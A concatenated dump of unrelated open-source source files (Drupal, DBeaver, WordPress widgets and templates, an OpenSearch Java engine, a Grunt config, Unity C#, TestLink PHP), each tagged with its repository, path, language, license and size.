public function viewElements(FieldItemListInterface $items, $langcode) {
$elements = array();
foreach ($items as $delta => $item) {
if (!$item->isEmpty()) {
$elements[$delta] = [
'#type' => 'link',
'#url' => Url::fromUri($item->value),
'#title' => $item->value,
];
}
}
return $elements;
}
}
| papillon-cendre/d8 | core/lib/Drupal/Core/Field/Plugin/Field/FieldFormatter/UriLinkFormatter.php | PHP | gpl-2.0 | 912 |
/*
* DBeaver - Universal Database Manager
* Copyright (C) 2010-2016 Serge Rieder (serge@jkiss.org)
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License (version 2)
* as published by the Free Software Foundation.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License along
* with this program; if not, write to the Free Software Foundation, Inc.,
* 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
*/
package org.jkiss.dbeaver.ext.generic.model;
import org.jkiss.code.NotNull;
import org.jkiss.dbeaver.DBException;
import org.jkiss.dbeaver.ext.generic.GenericConstants;
import org.jkiss.dbeaver.ext.generic.model.meta.GenericMetaObject;
import org.jkiss.dbeaver.model.DBPEvaluationContext;
import org.jkiss.dbeaver.model.DBPRefreshableObject;
import org.jkiss.dbeaver.model.DBUtils;
import org.jkiss.dbeaver.model.exec.jdbc.JDBCResultSet;
import org.jkiss.dbeaver.model.exec.jdbc.JDBCSession;
import org.jkiss.dbeaver.model.impl.jdbc.JDBCConstants;
import org.jkiss.dbeaver.model.impl.struct.AbstractProcedure;
import org.jkiss.dbeaver.model.meta.Property;
import org.jkiss.dbeaver.model.runtime.DBRProgressMonitor;
import org.jkiss.dbeaver.model.DBPUniqueObject;
import org.jkiss.dbeaver.model.struct.DBSObject;
import org.jkiss.dbeaver.model.struct.rdb.DBSProcedureParameterKind;
import org.jkiss.dbeaver.model.struct.rdb.DBSProcedureType;
import org.jkiss.utils.CommonUtils;
import java.sql.DatabaseMetaData;
import java.sql.SQLException;
import java.util.ArrayList;
import java.util.Collection;
import java.util.Iterator;
import java.util.List;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
/**
* GenericProcedure
*/
public class GenericProcedure extends AbstractProcedure<GenericDataSource, GenericStructContainer> implements GenericScriptObject, DBPUniqueObject, DBPRefreshableObject
{
private static final Pattern PATTERN_COL_NAME_NUMERIC = Pattern.compile("\\$?([0-9]+)");
private String specificName;
private DBSProcedureType procedureType;
private List<GenericProcedureParameter> columns;
private String source;
private GenericFunctionResultType functionResultType;
public GenericProcedure(
GenericStructContainer container,
String procedureName,
String specificName,
String description,
DBSProcedureType procedureType,
GenericFunctionResultType functionResultType)
{
super(container, true, procedureName, description);
this.procedureType = procedureType;
this.functionResultType = functionResultType;
this.specificName = specificName;
}
@Property(viewable = true, order = 3)
public GenericCatalog getCatalog()
{
return getContainer().getCatalog();
}
@Property(viewable = true, order = 4)
public GenericSchema getSchema()
{
return getContainer().getSchema();
}
@Property(viewable = true, order = 5)
public GenericPackage getPackage()
{
return getContainer() instanceof GenericPackage ? (GenericPackage) getContainer() : null;
}
@Override
@Property(viewable = true, order = 6)
public DBSProcedureType getProcedureType()
{
return procedureType;
}
@Property(viewable = true, order = 7)
public GenericFunctionResultType getFunctionResultType() {
return functionResultType;
}
@Override
public Collection<GenericProcedureParameter> getParameters(DBRProgressMonitor monitor)
throws DBException
{
if (columns == null) {
loadProcedureColumns(monitor);
}
return columns;
}
private void loadProcedureColumns(DBRProgressMonitor monitor) throws DBException
{
Collection<? extends GenericProcedure> procedures = getContainer().getProcedures(monitor, getName());
if (procedures == null || !procedures.contains(this)) {
throw new DBException("Internal error - cannot read columns for procedure '" + getName() + "' because its not found in container");
}
Iterator<? extends GenericProcedure> procIter = procedures.iterator();
GenericProcedure procedure = null;
final GenericMetaObject pcObject = getDataSource().getMetaObject(GenericConstants.OBJECT_PROCEDURE_COLUMN);
try (JDBCSession session = DBUtils.openMetaSession(monitor, getDataSource(), "Load procedure columns")) {
final JDBCResultSet dbResult;
if (functionResultType == null) {
dbResult = session.getMetaData().getProcedureColumns(
getCatalog() == null ?
this.getPackage() == null || !this.getPackage().isNameFromCatalog() ?
null :
this.getPackage().getName() :
getCatalog().getName(),
getSchema() == null ? null : getSchema().getName(),
getName(),
getDataSource().getAllObjectsPattern()
);
} else {
dbResult = session.getMetaData().getFunctionColumns(
getCatalog() == null ? null : getCatalog().getName(),
getSchema() == null ? null : getSchema().getName(),
getName(),
getDataSource().getAllObjectsPattern()
);
}
try {
int previousPosition = -1;
while (dbResult.next()) {
String columnName = GenericUtils.safeGetString(pcObject, dbResult, JDBCConstants.COLUMN_NAME);
int columnTypeNum = GenericUtils.safeGetInt(pcObject, dbResult, JDBCConstants.COLUMN_TYPE);
int valueType = GenericUtils.safeGetInt(pcObject, dbResult, JDBCConstants.DATA_TYPE);
String typeName = GenericUtils.safeGetString(pcObject, dbResult, JDBCConstants.TYPE_NAME);
int columnSize = GenericUtils.safeGetInt(pcObject, dbResult, JDBCConstants.LENGTH);
boolean notNull = GenericUtils.safeGetInt(pcObject, dbResult, JDBCConstants.NULLABLE) == DatabaseMetaData.procedureNoNulls;
int scale = GenericUtils.safeGetInt(pcObject, dbResult, JDBCConstants.SCALE);
int precision = GenericUtils.safeGetInt(pcObject, dbResult, JDBCConstants.PRECISION);
//int radix = GenericUtils.safeGetInt(dbResult, JDBCConstants.RADIX);
String remarks = GenericUtils.safeGetString(pcObject, dbResult, JDBCConstants.REMARKS);
int position = GenericUtils.safeGetInt(pcObject, dbResult, JDBCConstants.ORDINAL_POSITION);
DBSProcedureParameterKind parameterType;
if (functionResultType == null) {
switch (columnTypeNum) {
case DatabaseMetaData.procedureColumnIn:
parameterType = DBSProcedureParameterKind.IN;
break;
case DatabaseMetaData.procedureColumnInOut:
parameterType = DBSProcedureParameterKind.INOUT;
break;
case DatabaseMetaData.procedureColumnOut:
parameterType = DBSProcedureParameterKind.OUT;
break;
case DatabaseMetaData.procedureColumnReturn:
parameterType = DBSProcedureParameterKind.RETURN;
break;
case DatabaseMetaData.procedureColumnResult:
parameterType = DBSProcedureParameterKind.RESULTSET;
break;
default:
parameterType = DBSProcedureParameterKind.UNKNOWN;
break;
}
} else {
switch (columnTypeNum) {
case DatabaseMetaData.functionColumnIn:
parameterType = DBSProcedureParameterKind.IN;
break;
case DatabaseMetaData.functionColumnInOut:
parameterType = DBSProcedureParameterKind.INOUT;
break;
case DatabaseMetaData.functionColumnOut:
parameterType = DBSProcedureParameterKind.OUT;
break;
case DatabaseMetaData.functionReturn:
parameterType = DBSProcedureParameterKind.RETURN;
break;
case DatabaseMetaData.functionColumnResult:
parameterType = DBSProcedureParameterKind.RESULTSET;
break;
default:
parameterType = DBSProcedureParameterKind.UNKNOWN;
break;
}
}
if (CommonUtils.isEmpty(columnName) && parameterType == DBSProcedureParameterKind.RETURN) {
columnName = "RETURN";
}
if (position == 0) {
// Some drivers do not return ordinal position (PostgreSQL) but
// position is contained in column name
Matcher numberMatcher = PATTERN_COL_NAME_NUMERIC.matcher(columnName);
if (numberMatcher.matches()) {
position = Integer.parseInt(numberMatcher.group(1));
}
}
if (procedure == null || (previousPosition >= 0 && position <= previousPosition && procIter.hasNext())) {
procedure = procIter.next();
}
GenericProcedureParameter column = new GenericProcedureParameter(
procedure,
columnName,
typeName,
valueType,
position,
columnSize,
scale, precision, notNull,
remarks,
parameterType);
procedure.addColumn(column);
previousPosition = position;
}
} finally {
dbResult.close();
}
} catch (SQLException e) {
throw new DBException(e, getDataSource());
}
}
private void addColumn(GenericProcedureParameter column)
{
if (this.columns == null) {
this.columns = new ArrayList<>();
}
this.columns.add(column);
}
@NotNull
@Override
public String getFullyQualifiedName(DBPEvaluationContext context)
{
return DBUtils.getFullQualifiedName(getDataSource(),
getCatalog(),
getSchema(),
this);
}
@NotNull
@Override
public String getUniqueName()
{
return CommonUtils.isEmpty(specificName) ? getName() : specificName;
}
@Override
public String getObjectDefinitionText(DBRProgressMonitor monitor) throws DBException {
if (source == null) {
source = getDataSource().getMetaModel().getProcedureDDL(monitor, this);
}
return source;
}
@Override
public DBSObject refreshObject(@NotNull DBRProgressMonitor monitor) throws DBException {
source = null;
return this;
}
}
| Corvu/dbeaver | plugins/org.jkiss.dbeaver.ext.generic/src/org/jkiss/dbeaver/ext/generic/model/GenericProcedure.java | Java | gpl-2.0 | 12,138 |
<?php
add_action('widgets_init', 'register_facebook_like_widget');
function register_facebook_like_widget(){
register_widget( 'WP_Widget_Facebook_Like_Box' );
}
class WP_Widget_Facebook_Like_Box extends WP_Widget {
public function __construct() {
parent::__construct(
'facebook',
__('* Facebook Like Box', TEMPNAME),
array( 'description' => __('Facebook Like Box widget', TEMPNAME))
);
}
public function widget( $args, $instance ) {
extract($args);
global $nz_ninzio;
$title = apply_filters( 'widget_title', $instance['title'] );
$href = isset($instance['href']) ? esc_attr($instance['href']) : "";
$app_id = isset($instance['app_id']) ? esc_attr($instance['app_id']) : "";
$show_faces = isset($instance['show_faces']) ? 'yes' : 'no';
$stream = isset($instance['stream']) ? 'yes' : 'no';
$header = isset($instance['header']) ? 'yes' : 'no';
$show_border = isset($instance['show_border']) ? 'yes' : 'no';
$color_scheme = ($nz_ninzio['ninzio-skin'] && $nz_ninzio['ninzio-skin'] == "light") ? "light" : "dark";
echo $before_widget;
if ( ! empty( $title ) ){echo $before_title . $title . $after_title;}
if($href): ?>
<div id="fb-root"></div>
<script>
window.fbAsyncInit = function() {
FB.init({
appId : '<?php echo $app_id; ?>',
channelUrl : '<?php echo home_url(); ?>/channel.php',
status : true,
xfbml : true
});
};
(function(d, s, id){
var js, fjs = d.getElementsByTagName(s)[0];
if (d.getElementById(id)) {return;}
js = d.createElement(s); js.id = id;
js.src = "//connect.facebook.net/en_US/all.js";
fjs.parentNode.insertBefore(js, fjs);
}(document, 'script', 'facebook-jssdk'));
</script>
<div class="fb-like-box" data-href="<?php echo $href; ?>" data-width="282" data-colorscheme="<?php echo $color_scheme; ?>" data-show-faces="<?php echo $show_faces; ?>" data-header="<?php echo $header; ?>" data-stream="<?php echo $stream; ?>" data-show-border="<?php echo $show_border; ?>"></div>
<?php endif;
echo $after_widget;
}
public function form( $instance ) {
$defaults = array(
'title' => __('Find us on Facebook', TEMPNAME),
'href' => '',
'app_id' => '',
'show_faces' => 'yes',
'show_border' => 'yes',
'stream' => 'no',
'header' => 'no'
);
$instance = wp_parse_args((array) $instance, $defaults);
?>
<p>
<label for="<?php echo $this->get_field_id( 'title' ); ?>"><?php echo __( 'Title:', TEMPNAME ); ?></label>
<input class="widefat" id="<?php echo $this->get_field_id( 'title' ); ?>" name="<?php echo $this->get_field_name( 'title' ); ?>" type="text" value="<?php echo esc_attr( $instance['title'] ); ?>" />
</p>
<p>
<label for="<?php echo $this->get_field_id('href'); ?>"><?php echo __( 'Facebook Page URL:', TEMPNAME ); ?></label>
<input class="widefat" id="<?php echo $this->get_field_id('href'); ?>" name="<?php echo $this->get_field_name('href'); ?>" type="text" value="<?php echo $instance['href']; ?>" />
</p>
<p>
<label for="<?php echo $this->get_field_id('app_id'); ?>"><?php echo __( 'App ID from the app dashboard:', TEMPNAME ); ?></label>
<input class="widefat" id="<?php echo $this->get_field_id('app_id'); ?>" name="<?php echo $this->get_field_name('app_id'); ?>" type="text" value="<?php echo $instance['app_id']; ?>" />
</p>
<p>
<input class="checkbox" type="checkbox" <?php checked($instance['show_faces'], 'yes'); ?> id="<?php echo $this->get_field_id('show_faces'); ?>" name="<?php echo $this->get_field_name('show_faces'); ?>" />
<label for="<?php echo $this->get_field_id('show_faces'); ?>"><?php echo __( 'Show faces', TEMPNAME ); ?></label>
</p>
<p>
<input class="checkbox" type="checkbox" <?php checked($instance['show_border'], 'yes'); ?> id="<?php echo $this->get_field_id('show_border'); ?>" name="<?php echo $this->get_field_name('show_border'); ?>" />
<label for="<?php echo $this->get_field_id('show_border'); ?>"><?php echo __( 'Show border', TEMPNAME ); ?></label>
</p>
<p>
<input class="checkbox" type="checkbox" <?php checked($instance['stream'], 'yes'); ?> id="<?php echo $this->get_field_id('stream'); ?>" name="<?php echo $this->get_field_name('stream'); ?>" />
<label for="<?php echo $this->get_field_id('stream'); ?>"><?php echo __( 'Show stream', TEMPNAME ); ?></label>
</p>
<p>
<input class="checkbox" type="checkbox" <?php checked($instance['header'], 'yes'); ?> id="<?php echo $this->get_field_id('header'); ?>" name="<?php echo $this->get_field_name('header'); ?>" />
<label for="<?php echo $this->get_field_id('header'); ?>"><?php echo __( 'Show facebook header', TEMPNAME ); ?></label>
</p>
<?php
}
public function update( $new_instance, $old_instance ) {
$instance = $old_instance;
$instance['title'] = strip_tags( $new_instance['title'] );
$instance['href'] = strip_tags( $new_instance['href']);
$instance['app_id'] = strip_tags($new_instance['app_id']);
$instance['show_faces'] = $new_instance['show_faces'];
$instance['show_border'] = $new_instance['show_border'];
$instance['stream'] = $new_instance['stream'];
$instance['header'] = $new_instance['header'];
return $instance;
}
}
?> | kriscrazy/wpuncensored | wp-content/themes/unitheme/includes/widgets/custom-facebook.php | PHP | gpl-2.0 | 5,491 |
/**
* @file
* JavaScript behaviors for composite element builder.
*/
(function ($, Drupal) {
'use strict';
/**
* Initialize composite element builder.
*
* @type {Drupal~behavior}
*/
Drupal.behaviors.webformElementComposite = {
attach: function (context) {
$('[data-composite-types]').once('webform-composite-types').each(function() {
var $element = $(this);
var $type = $element.closest('tr').find('.js-webform-composite-type');
var types = $element.attr('data-composite-types').split(',');
var required = $element.attr('data-composite-required');
$type.on('change', function() {
if ($.inArray($(this).val(), types) === -1) {
$element.hide();
if (required) {
$element.removeAttr('required aria-required');
}
}
else {
$element.show();
if (required) {
$element.attr({ 'required': 'required', 'aria-required': 'aria-required' })
}
}
}).change();
})
}
};
})(jQuery, Drupal);
| dbethala/longwood-volunteers | modules/webform/js/webform.element.composite.js | JavaScript | gpl-2.0 | 1,108 |
<?php
/**
* Template: Category.php
*
* @package wp_sundried
* @subpackage Template
*/
get_header();
?>
<div class="primary hfeed">
<?php if ( have_posts() ) : ?>
<h1 class="page_title archive_title">Category Archives: <span id="category_title"><?php single_cat_title(); ?></span></h1>
<?php while ( have_posts() ) : the_post(); ?>
<?php render_partial('entry'); ?>
<?php endwhile; ?>
<?php render_partial('navigation'); ?>
<?php else : ?>
<?php render_partial('not_found'); ?>
<?php endif; ?>
</div>
<?php get_sidebar(); ?>
<?php get_footer(); ?> | dandehavilland/wp_sundried | category.php | PHP | gpl-2.0 | 583 |
package edu.rpi.tw.sesf.s2s.web.service.impl;
import org.apache.abdera.Abdera;
import org.apache.abdera.ext.opensearch.OpenSearchConstants;
import org.apache.abdera.ext.opensearch.model.Url;
import org.apache.abdera.model.Document;
import org.apache.abdera.model.Element;
import org.apache.abdera.parser.Parser;
import java.io.IOException;
import java.io.UnsupportedEncodingException;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLEncoder;
import java.util.Collection;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
import java.util.Set;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import javax.servlet.http.HttpServletResponse;
import net.fortytwo.flow.Collector;
import net.fortytwo.ripple.RippleException;
import net.fortytwo.ripple.model.RippleList;
import net.fortytwo.ripple.query.QueryPipe;
import org.openrdf.sail.SailException;
import com.hp.hpl.jena.query.QuerySolution;
import com.hp.hpl.jena.query.ResultSet;
import edu.rpi.tw.sesf.s2s.SearchService;
import edu.rpi.tw.sesf.s2s.data.QueryableSource;
import edu.rpi.tw.sesf.s2s.data.RippleSource;
import edu.rpi.tw.sesf.s2s.exception.InvalidLinkedDataIdentifierException;
import edu.rpi.tw.sesf.s2s.exception.MalformedInstanceException;
import edu.rpi.tw.sesf.s2s.exception.UnregisteredInstanceException;
import edu.rpi.tw.sesf.s2s.impl.sparql.SearchServiceFromSparql;
import edu.rpi.tw.sesf.s2s.utils.Ontology;
import edu.rpi.tw.sesf.s2s.utils.Queries;
import edu.rpi.tw.sesf.s2s.utils.Utils;
import edu.rpi.tw.sesf.s2s.web.service.WebServiceEngine;
public class OpenSearchServiceEngine implements WebServiceEngine {
//private static final QName relAttr = new QName(OpenSearchConstants.OPENSEARCH_NS, "rel", OpenSearchConstants.OS_PREFIX);
private final static String _osddBGP = "<{uri}> <" + Ontology.hasOpenSearchDescriptionDocument + "> ?o . ";
private SearchService _service;
private String _osdd;
private Map<String, QueryTemplate> _interfaces;
private Set<String> _inputs;
public OpenSearchServiceEngine(SearchService service) throws UnregisteredInstanceException, SailException, RippleException, InvalidLinkedDataIdentifierException, MalformedInstanceException {
_service = service;
_interfaces = new HashMap<>();
_inputs = new HashSet<>();
if (QueryableSource.class.isAssignableFrom(service.getDataSource().getClass())) {
_query();
} else if (RippleSource.class.isAssignableFrom(service.getDataSource().getClass())) {
_crawl();
}
_parse();
}
public Collection<String> getInputs() {
return _inputs;
}
public Collection<String> getInterfaces() {
return _interfaces.keySet();
}
public void runQuery(String query, Map<String, String> parameters,
HttpServletResponse response) throws IOException {
if (!_interfaces.containsKey(query)) {
response.sendError(422, "There is no such query ("+query+") for this OpenSearch service ("+_service.getURI()+").");
} else {
Utils.proxyResponse(_interfaces.get(query).createRequest(parameters), response);
}
}
private void _query() throws UnregisteredInstanceException {
SearchServiceFromSparql s = (SearchServiceFromSparql)_service;
String q = Queries.buildSimpleQuery(_osddBGP, s.getURI(), ((QueryableSource)s.getDataSource()));
ResultSet rs = ((QueryableSource)s.getDataSource()).sparqlSelect(q);
if (rs.hasNext()) {
QuerySolution qs = rs.next();
if (qs.contains("o")) {
_osdd = Utils.parseLiteral(qs.get("o").toString());
} else {
throw new UnregisteredInstanceException("OpenSearchService at URI (" + s.getURI() + ") is missing a pointer to its OpenSearch description document.");
}
} else {
throw new UnregisteredInstanceException("OpenSearchService at URI (" + s.getURI() + ") is missing a pointer to its OpenSearch description document.");
}
}
private void _crawl() throws RippleException, InvalidLinkedDataIdentifierException {
Collector<RippleList> c = new Collector<>();
QueryPipe p = new QueryPipe(((RippleSource)_service.getDataSource()).getQueryEngine(), c);
Pattern literalPattern = Pattern.compile("\"(.*?)\"(\\^\\^<(.*?)>)?");
String uriRef = "<" + _service.getURI() + ">";
p.put(uriRef + " <" + Ontology.hasOpenSearchDescriptionDocument + ">.");
for (RippleList l : c) {
Matcher m = literalPattern.matcher(l.getFirst().toString());
if (m.matches()) _osdd = m.group(1);
}
c.clear();
if (_osdd == null)
throw new InvalidLinkedDataIdentifierException("Missing link to OpenSearch description document needed for valid OpenSearchService from " + _service.getURI());
}
private void _parse() throws MalformedInstanceException {
try {
URL url = new URL(_osdd);
Parser p = Abdera.getNewParser();
Document<Element> doc = p.parse(url.openStream());
Element root = doc.getRoot();
for (Element el : root.getElements()) {
Url u;
if (el.getQName().equals(OpenSearchConstants.URL)) {
u = new Url(el);
//TODO: request bug fix for "os:rel" attribute
String rel = u.getAttributeValue("rel");
QueryTemplate qt = new QueryTemplate(u);
_interfaces.put(_expandCurie(rel,u), qt);
_inputs.addAll(qt.getParameters());
}
}
} catch (MalformedURLException e) {
throw new MalformedInstanceException("OpenSearch description document location (" + _osdd + ") is malformed.");
} catch (IOException e) {
throw new MalformedInstanceException("OpenSearch description document at " + _osdd + " could not be read.");
}
}
private class QueryTemplate {
private Url _u;
private String _template;
private Map<String,TemplateParameter> _params;
public QueryTemplate(Url u) {
_u = u;
_params = new HashMap<>();
_getTemplate();
_parse();
}
private void _getTemplate() {
_template = _u.getTemplate();
}
private void _parse() {
String[] arr = _template.split("\\{");
boolean opt = false;
for(int i = 1; i < arr.length; i++) {
String[] tmp = arr[i].split("\\}");
String curie = tmp[0];
String last = curie.substring(curie.length() - 1);
if (last.equals("?")) {
curie = curie.substring(0, curie.length() - 1);
opt = true;
}
String uri = OpenSearchServiceEngine._expandCurie(curie, _u);
_params.put(uri, new TemplateParameter(curie,opt));
opt = false;
}
}
public Set<String> getParameters() {
return _params.keySet();
}
public String createRequest(Map<String,String> parameters) {
//TODO: throw error if non-optional parameter is missing
/*for (String key : _params.keySet()) {
if (!_params.get(key).opt && !parameters.keySet().contains(key)) {
}
}*/
String request = _template;
if (parameters != null) {
for (String key : parameters.keySet()) {
TemplateParameter param = _params.get(key);
String opt = "";
if (param != null) {
if (param.opt) {
opt = "\\?";
}
String regex = "\\{" + param.curie + opt + "\\}";
try {
request = request.replaceAll(regex, URLEncoder.encode(parameters.get(key), "UTF-8"));
} catch (UnsupportedEncodingException e) {
//TODO: throw warning
}
}
}
}
request = request.replaceAll("\\{.*?\\}", "");
return request;
}
private class TemplateParameter {
public String curie;
public boolean opt;
public TemplateParameter(String c, boolean o) {
curie = c;
opt = o;
}
}
};
private static String _expandCurie(String curie, Element e) {
String[] arr = curie.split(":");
if (arr.length > 1) {
String ns = e.getNamespaces().get(arr[0]);
if (ns != null) {
return ns + arr[1];
} else return curie;
} else return e.getNamespaces().get("") + curie;
}
}
| tetherless-world/s2s | server/src/main/java/edu/rpi/tw/sesf/s2s/web/service/impl/OpenSearchServiceEngine.java | Java | gpl-2.0 | 7,787 |
module.exports = {
options: {
mangle: true,
banner : '/*! <%= app.name %> v<%= app.version %> */\n'
},
dist: {
files: {
'../assets/js/min/tipsy.min.js': [ '../assets/js/admin/tipsy.js'],
'../assets/js/min/colorpicker.min.js': [ '../assets/js/admin/colorpicker.js'],
'../assets/js/min/upload.min.js': [ '../assets/js/admin/upload.js'],
'../assets/js/min/jquery.jplayer.concat.min.js': ['../assets/js/src/jquery.jplayer.min.js', '../assets/js/src/jplayer.playlist.js','../assets/js/jquery.jplayer.custom.js',],
}
}
}; | brutaldesign/wolf-jplayer | dev/grunt/options/uglify.js | JavaScript | gpl-2.0 | 536 |
using UnityEngine;
using System.Collections;
public class TestButton : MonoBehaviour
{
public Camera mainCamera;
public void printScreenResolution()
{
float h = Screen.height;
float w = Screen.width;
print ("Screen\nHeight: " + h.ToString() + "\tWidth: " + w.ToString());
}
public void printCameraResolution()
{
if(mainCamera == null){
print ("Error: Set camera to evaluate");
return;
}
float h = mainCamera.pixelHeight;
float w = mainCamera.pixelWidth;
print ("Camera\nHeight: " + h.ToString() + "\tWidth: " + w.ToString());
}
public void TestCoroutineFunctions(){
StartCoroutine(func2());
}
IEnumerator func1(){
print ("Started func1");
int x = 5;
while(x>0){
print ("x=" + x);
x--;
yield return null;
}
print ("func1 finished");
}
IEnumerator func2(){
print ("Started func2");
yield return StartCoroutine(func1());
print ("func2 finished");
}
}
| OpenAgInitiative/gro-ui | Scripts/TestScripts/TestButton.cs | C# | gpl-2.0 | 1,108 |
<?php
/**
* TestLink Open Source Project - http://testlink.sourceforge.net/
* This script is distributed under the GNU General Public License 2 or later.
*
* TLSmarty class is TestLink wraper for GUI templates processing.
* The class is loaded via common.php to all pages.
*
* @filesource tlsmarty.inc.php
* @package TestLink
* @author Martin Havlat
* @copyright 2005-2012, TestLink community
* @link http://www.teamst.org/index.php
* @link http://www.smarty.net/
*
* @internal revisions
* @since 2.0
*
*/
define('SMARTY_DIR', TL_ABS_PATH . 'third_party'. DIRECTORY_SEPARATOR . 'smarty'.
DIRECTORY_SEPARATOR . 'libs' . DIRECTORY_SEPARATOR);
define('SMARTY_CORE_DIR', SMARTY_DIR . 'internals' . DIRECTORY_SEPARATOR);
/** include parent extrenal component */
require_once( SMARTY_DIR . 'Smarty.class.php');
/** in this way you can switch ext js version in easy way,
To use a different version of Sencha (Old EXT-JS) that provided with TL */
if( !defined('TL_EXTJS_RELATIVE_PATH') )
{
define('TL_EXTJS_RELATIVE_PATH','third_party/ext-js' );
}
/** @TODO martin: refactore + describe
* The next two functions was moved here from common.php */
function translate_tc_status($status_code)
{
$resultsCfg = config_get('results');
$verbose = lang_get('test_status_not_run');
if( $status_code != '')
{
$suffix = $resultsCfg['code_status'][$status_code];
$verbose = lang_get('test_status_' . $suffix);
}
return $verbose;
}
/**
* function is registered in tlSmarty class
* @uses function translate_tc_status
* @todo should be moved to tlSmarty class
*/
function translate_tc_status_smarty($params, &$smarty)
{
$the_ret = translate_tc_status($params['s']);
if( isset($params['var']) )
{
$smarty->assign($params['var'], $the_ret);
}
else
{
return $the_ret;
}
}
/**
* Should be used to prevent certain templates to only get included once per page load.
* For example javascript includes, such as ext-js.
*
* Usage (in template):
* <code>
* {if guard_header_smarty(__FILE__)}
* template code
* <script src="big-library.js type="text/javascript"></script>
* {/if}
* </code>
*/
function guard_header_smarty($file)
{
static $guarded = array();
$status_ok = false;
if (!isset($guarded[$file]))
{
$guarded[$file] = true;
$status_ok = true;
}
return $status_ok;
}
/**
* TestLink wrapper for external Smarty class
* @package TestLink
*/
class TLSmarty extends Smarty
{
function TLSmarty()
{
global $tlCfg;
global $g_locales_html_select_date_field_order;
global $g_locales_date_format;
global $g_locales_timestamp_format;
parent::__construct();
$this->template_dir = TL_ABS_PATH . 'gui/templates/';
$this->compile_dir = TL_TEMP_PATH;
$this->config_dir = TL_ABS_PATH . 'gui/templates/';
$testproject_coloring = $tlCfg->gui->testproject_coloring;
$testprojectColor = $tlCfg->gui->background_color ; //TL_BACKGROUND_DEFAULT;
if (isset($_SESSION['testprojectColor']))
{
$testprojectColor = $_SESSION['testprojectColor'];
if ($testprojectColor == "")
{
$testprojectColor = $tlCfg->gui->background_color;
}
}
$this->assign('testprojectColor', $testprojectColor);
$my_locale = isset($_SESSION['locale']) ? $_SESSION['locale'] : TL_DEFAULT_LOCALE;
$basehref = isset($_SESSION['basehref']) ? $_SESSION['basehref'] : TL_BASE_HREF;
if ($tlCfg->smarty_debug)
{
$this->debugging = true;
tLog("Smarty debug window = ON");
}
// -------------------------------------------------------------------------------------
// Must be initialized to avoid log on TestLink Event Viewer due to undefined variable.
// This means that optional/missing parameters on include can not be used.
//
// Good refactoring must be done in future, to create group of this variable
// with clear names that must be a hint for developers, to understand where this
// variables are used.
// inc_head.tpl
$this->assign('SP_html_help_file',null);
$this->assign('menuUrl',null);
$this->assign('args',null);
$this->assign('additionalArgs',null);
$this->assign('pageTitle',null);
$this->assign('css_only',null);
$this->assign('body_onload',null);
// inc_help.tpl
$this->assign('inc_help_alt',null);
$this->assign('inc_help_title',null);
$this->assign('inc_help_style',null);
$this->assign('show_help_icon',true);
$this->assign('tplan_name',null);
$this->assign('name',null);
// -----------------------------------------------------------------------------
$this->assign('basehref', $basehref);
$this->assign('css', $basehref . TL_TESTLINK_CSS);
$this->assign('custom_css', $basehref . TL_TESTLINK_CUSTOM_CSS);
$this->assign('locale', $my_locale);
// -----------------------------------------------------------------------------
// load configuration
$this->assign('session',isset($_SESSION) ? $_SESSION : null);
$this->assign('tlCfg',$tlCfg);
$this->assign('gsmarty_gui',$tlCfg->gui);
$this->assign('gsmarty_spec_cfg',config_get('spec_cfg'));
$this->assign('tlVersion',TL_VERSION);
$this->assign('testproject_coloring',null);
// -----------------------------------------------------------------------------
// define a select structure for {html_options ...}
$this->assign('gsmarty_option_yes_no', array(0 => lang_get('No'), 1 => lang_get('Yes')));
$this->assign('gsmarty_option_priority', array(HIGH => lang_get('high_priority'),
MEDIUM => lang_get('medium_priority'),
LOW => lang_get('low_priority')));
$this->assign('gsmarty_option_importance', array(HIGH => lang_get('high_importance'),
MEDIUM => lang_get('medium_importance'),
LOW => lang_get('low_importance')));
// this allows unclosed <head> tag to add more information and link; see inc_head.tpl
$this->assign('openHead', 'no');
// there are some variables which should not be assigned for template but must be initialized
// inc_head.tpl
$this->assign('jsValidate', null);
$this->assign('jsTree', null);
// $this->assign('editorType', null);
// user feedback variables (used in inc_update.tpl)
$this->assign('user_feedback', null);
$this->assign('feedback_type', ''); // Possibile values: soft
$this->assign('action', 'updated'); //todo: simplify (remove) - use user_feedback
$this->assign('sqlResult', null); //todo: simplify (remove) - use user_feedback
$this->assign('refresh', 'no');
$this->assign('result', null);
$this->assign('optLocale',config_get('locales'));
$this->assign('gsmarty_html_select_date_field_order',
$g_locales_html_select_date_field_order[$my_locale]);
$this->assign('gsmarty_date_format',$g_locales_date_format[$my_locale]);
// add smarty variable to be able to set localized date format on datepicker
$this->assign('gsmarty_datepicker_format',
str_replace('%','',$g_locales_date_format[$my_locale]));
$this->assign('gsmarty_timestamp_format',$g_locales_timestamp_format[$my_locale]);
// -----------------------------------------------------------------------------
// Images
// add in alpha order please
$tlImages = array('api_info' => TL_THEME_IMG_DIR . "brick.png",
'bullet' => TL_THEME_IMG_DIR . "slide_gripper.gif",
'bugMgmt' => TL_THEME_IMG_DIR . "bug1.gif",
'bugMgmtGreyed' => TL_THEME_IMG_DIR . "bug1_greyed.gif",
'calendar' => TL_THEME_IMG_DIR . "calendar.gif",
'checked' => TL_THEME_IMG_DIR . "apply_f2_16.png",
'date' => TL_THEME_IMG_DIR . "date.png",
'delete' => TL_THEME_IMG_DIR . "trash.png",
'delete_disabled' => TL_THEME_IMG_DIR . "trash_greyed.png",
'demo_mode' => TL_THEME_IMG_DIR . "emoticon_tongue.png",
'direct_link' => TL_THEME_IMG_DIR . "world_link.png",
'disconnect' => TL_THEME_IMG_DIR . 'disconnect.png',
'edit' => TL_THEME_IMG_DIR . "icon_edit.png",
'edit_type2' => TL_THEME_IMG_DIR . "edit_icon.png",
'exec_order' => TL_THEME_IMG_DIR . 'timeline_marker.png',
'executed' => TL_THEME_IMG_DIR . 'lightning.png',
'export' => TL_THEME_IMG_DIR . "export.png",
'export_import' => TL_THEME_IMG_DIR . "export_import.png",
'event_info' => TL_THEME_IMG_DIR . "question.gif",
'favicon' => TL_THEME_IMG_DIR . "favicon.ico",
'history' => TL_THEME_IMG_DIR . "history.png",
